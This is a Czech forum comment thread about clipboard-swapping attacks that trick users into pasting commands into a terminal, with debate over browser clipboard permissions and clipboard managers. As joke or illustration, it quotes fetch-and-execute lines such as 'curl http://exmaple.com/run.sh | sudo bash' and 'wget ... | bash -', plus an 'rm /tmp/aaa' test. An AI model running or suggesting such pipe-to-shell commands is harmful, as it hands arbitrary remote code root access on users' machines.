to by mne ve snu nenapadlo. používám jedině
curl http://exmaple.com/run.sh | sudo bash
Tss, to pěkně riskujete. Nedávno tu byla zprávička, že sudo je děravé, bezpečnější tedy bude
curl http://exmaple.com/run.sh | doas bash
:-]
Už to zde na root jednou bylo a taky bych poznamenal, že rada by spíš měla znít: nevkládejte přímo do konzole text zkopírovaný na těch internetech
.
Vlastně je to nápadně podobné nevkládejte neošetřený input přímo do databáze
Nicméně, IMHO, úplně stejně by mohl někdo podvrhnout cokoliv např. v mailu (html obsah) nebo vlastně z jakéhokoliv zdroje, kde se nalézá html, resp. spustití javascript ... např. aplikace napsané v Node.js (v tom se moc nevyznám)?
3. 1. 2022, 16:02 editováno autorem komentáře
v xfce4-terminal s tim problem nemam, nevim uz ted od jake verze (ale minimalne uz v napr. Xubuntu 20.04), vyskoci na me tohle okno :-)
vkladam ze schranky (ne nutne z webu) velice casto a neignoruju to ani nevypinam, proste vidim co se vklada, casto treba neco odmazu/upravim atd...
jinak samozrejme to vyzkoci pouze pokud ve schrance je enter, pokud ne = jde o 1 radek nezakoncenej enterem, tak se to vlozi rovnou do terminalu a je na tobe zda to odentrujes...
Je možné to urobiť aj bez javascriptu - stačí css. Viac info napr. https://thejh.net/misc/website-terminal-copy-paste
Android s vychozi(mozna jak kde) klavesnici GBoard ma historii pro poslednich, s moznosti si je "pripnout"
z praxe neznam, ale:
Gnome
https://ubuntuhandbook.org/index.php/2021/10/access-copy-paste-history-ubuntu-gpaste/
KDE
https://userbase.kde.org/Klipper
macOS
https://maccy.app
To sice nikoliv, ale všechny se chovají stejně - nechá se do nich vložit text a také se nechá smazat, zkopírovat, nakonec se to standardním způsobem zavře. Žádné speciální klávesové zkratky, žádné dialogy, žádná kontextová menu, neváže se to na [PrtSc]... - a nemusí se instalovat! (To poslední je hodně důležitý bod, protože až příliš často pracuji na počítačích, kde mám jen velmi omezená oprávnění.)
Všechny ty aplikace jsou výborné a užitečné pomůcky - to bez debaty "podepíšu". Ale já si zvykl na to nejjednodušší a nejdostupnější řešení: texťák. Zatím to fungovalo všude, kde to bylo potřeba.
pokud nemas admin prava a stridas cizi stroje tak to chapu, tedy chapal bych samozrejme i kdyby to byli tvoje stroje ze mas proste neco zazite a vyhovuje... jen sem chtel podat info z "druhe strany" ;-)
jinak zminovanej Spravce schranky v Xfce sem si namapoval na zkratku Super+Ins, dialogy nejsou/neprudej, kontextove menu logicky je, z nej sipkou dolu vyberu z historie co chci hodit do klasicke stranky a pak zmacknu CTRL+V nebo CTRL+INS, lze nastavit i ze vyber polozky se rovnou pastne...
instalace mi nevadi, je to soucast metabaliku xfce4-goodies kterou vsude si stejne instaluju i kvuli jinejm vecem ;-)
Mne uz se parkrat na mem lokalnim linuxu stalo, ze jsem do terminalu vlozil nesmyslny dlouhy text, kde jsem zkratka prehledl ze jsem mysi oznacil (a tim padem vybral) a prostr. tl. mysi vlozil jiny text nez jsem mel v umyslu, a to jsem se teda opotil kdyz jsem pak zkoumal co ty radky delaly...
Když kopírujete ukázku zdrojového kódu, kde jsou očíslované řádky, chcete to zkopírovat bez těch čísel řádků. Je spousta případů (různé kódy, URL), kdy je jasné, co uživatel chce kopírovat – a je vhodné mu k tomu poskytnout tlačítko, aby nemusel text označovat.
Minimálně tyto dva příklady ukazují, že je vhodné mít v JavaScriptu funkce pro manipulaci se schránkou. Chráněné je to tím, že tyto funkce je možné použít jen po interakci uživatele (kliknutí myší, stisknutí klávesy).
Chápu, ale není šikovnější číslování řádků udělat neoznačitelné už v samotném návrhu stránky (pomocí CSS user-select: none; ) ? Nebo ho udělat pomocí JS rovnou schovávací (taky easy)?
Není lepší uživatele jednou za čas nechat trojkliknout myší?
Pořád nejsem přesvědčen, že manipulace se schránkou ze strany JS stojí za to. Ale možná jsem jenom moc přísný, ostatně bych nejradši JS vyházel z asi 90 % stránek, kde je.
A závěrem, podmínka na zmiňovanou interakci uživatele mi nepřijde jako moc dobrá ochrana proti ničemu.
Trojklik myší nemusí vždy vybrat to, co chcete (třeba celý blok kódu), navíc spousta uživatelů to ani nezná (ani mnoho uživatelů bude mít problém udělat trojklik).
Když se míchá dohromady označitelný a neoznačitelný text, často se pak označování chová divně.
Webové stránky jsou dnes platformou pro psaní frontendu aplikací, dokonce asi nejpoužívanější. Může se nám to nelíbit, ale to je asi tak všechno, co s tím uděláme. To, že bude aplikace umět správně pracovat se schránkou, je dnes považováno za samozřejmost. Kdysi jsem právě schránku uváděl jako něco, s čím nativní aplikace pracovat umí a webové ne – a když už tedy webové aplikace máme, je správně, že umí se schránkou pracovat.
Podmínka interakcí uživatele slouží k tomu, aby nějaká stránka na pozadí nemohla vykrádat data, která máte ve schránce (třeba číslo platební karty nebo heslo), nebo aby vám tam nemohla podsouvat něco jiného nebo schránku mazat. Pokud bude nějaká aplikace dělat neplechu při používání, můžete ji přestat používat. A můžete si dávat pozor a nepřepínat na jinou stránku v případě, kdy máte ve schránce citlivá data (správci hesel často umí citlivé údaje zkopírované z nich do schránky po určité době vymazat). Ale kdyby dělala neplechu aplikace na pozadí, nejspíš to ani nepoznáte – a může vám ukrást heslo, i když bude ve schránce třeba jen 5 vteřin.
Díky za delší text, ale zůstávám nepřesvědčen.
Stránky, které se chováním blíží statickému HTML, mají i zcela vypočitatelné chování schránky (Ctrl+C i myšové).
Chápu, že HTML dokument se s JS někdy stává plnohodnotným frontendem aplikace, což je často dobré řešení, ale často zase JS jen vytěžuje CPU skrze eye candies.
I v tom prvním případě UX může utrpět. Např. jinak propracované Google docs implementují vlastní interakci se schránkou a to mi přijde otravné (ve FF nefunguje třeba vkládání z myšové schránky, kdežto v běžném textovém poli to problém není).
S posledním vaším odstavcem souhlasím na 110% - uživatel se leckdy uklikne nebo si splete fokus okna, takže zabezpečení uživatelskou interakcí není nic moc.
Standardní chování prohlížeče by v Google Docs určitě výrazně omezilo funkcionalitu. Prohlížeče pravděpodobně nepodporují tolik formátů dat ve schránce, jako Google Docs (předpokládám, že umí minimálně MS Word, OOo, RTF a HTML). STejně tak vám prohlížeč neumí dát na výběr, zda chcete vložit text formátovaný nebo jako prostý text.
Máte nějaký nápad, jak to zabezpečit jinak? Rovnou předesílám, že pokaždé se uživatele ptát není řešení – uživatelé v drtivé většině případů chtějí se schránkou pracovat, a naučit je automaticky odklikávat nějaký dialog není k ničemu.
Možností je řada. Preferoval bych opt-in obdobně jako u notifikací, mikrofonu nebo kamerky, tedy dotaz "povolujete přístup k systémové schránce?" s možnostmi Ano, Ano provždy, Ne, Ne provždy.
Google Docs/Sheets by byl možná jediný web, kde bych to povolil.
Alturl mi do schránky bona fide automaticky zapisuje, a to je naopak potřeba zaříznout.
Je potřeba rozlišovat čtení ze schránky a zápis do schránky. Čtení musí uživatel povolovat (alespoň ve Vivaldi je výchozí hodnota „zeptat se“). Při zápisu nemůže JavaScript škodit víc, než webová stránka bez JavaScriptu. V příkladu ve zprávičce se k manipulaci používá JavaScript, ale kdybyste do stránky vložil vhodné znaky jako backspace nebo změna směru textu, určitě se vám podaří jenom v HTML docílit toho, aby uživatel měl ve schránce něco jiného, než co vidí na obrazovce.
Přijde na to, co lze pokládat za ověřený zdroj. Většinu návodů na internetu, včetně stackexchange? OK, bývají převážně nenahackované a dobře míněné, tedy snad neškodné.
Ale když jde o *návrh* zabezpečení, očekávám nějaké jednoznačné pravidlo, ne statistiku. Přístup do schránky zaříznout, pokud uživatel neurčí jinak.
Tak zpět - uzavření vloženého příkazu apostrofem mě nijak neohrozí, ani odřádkováním. Protože bash nevykoná příkaz začínající apostrofem, protože jej bude brát jako string. A je jedno zda bude příkaz končit '+/n. Pro ilustraci:
# Kopiruji řetězec:
rm /tmp/aaa'
[waldauf@vulpes tmp]$ 'rm /tmp/aaa'
bash: rm /tmp/aaa: No such file or directory
# ~~~~~~~~~~~~~~~~~~~~~~~~~
# Kopiruji řetězec:
rm /tmp/aaa
'
[waldauf@vulpes tmp]$ 'rm /tmp/aaa
'
bash: rm /tmp/aaa
: No such file or directory
# ~~~~~~~~~~~~~~~~~~~~~~~~~
# Kopiruji řetězec:
rm /tmp/aaa
'
[waldauf@vulpes tmp]$ 'rm /tmp/aaa
'
bash: rm /tmp/aaa
: No such file or directory
Snažil jsem se opravit formátování, ale než jsem to vše opravil do čitelné podoby, tak mě server vykopl. :/ Tak snad je ten příklad "čitelný". :]
Ještě se doplním, že bash interpretuje jako jeden příkaz vše co je mezi apostrofy. Což si teď neumím představit, že by to mohl být nějaký funkční příkaz.
$ 'wget www.oskliva-nehezka-vec.cz | bash -'
bash: wget www.oskliva-nehezka-vec.cz | bash -: command not found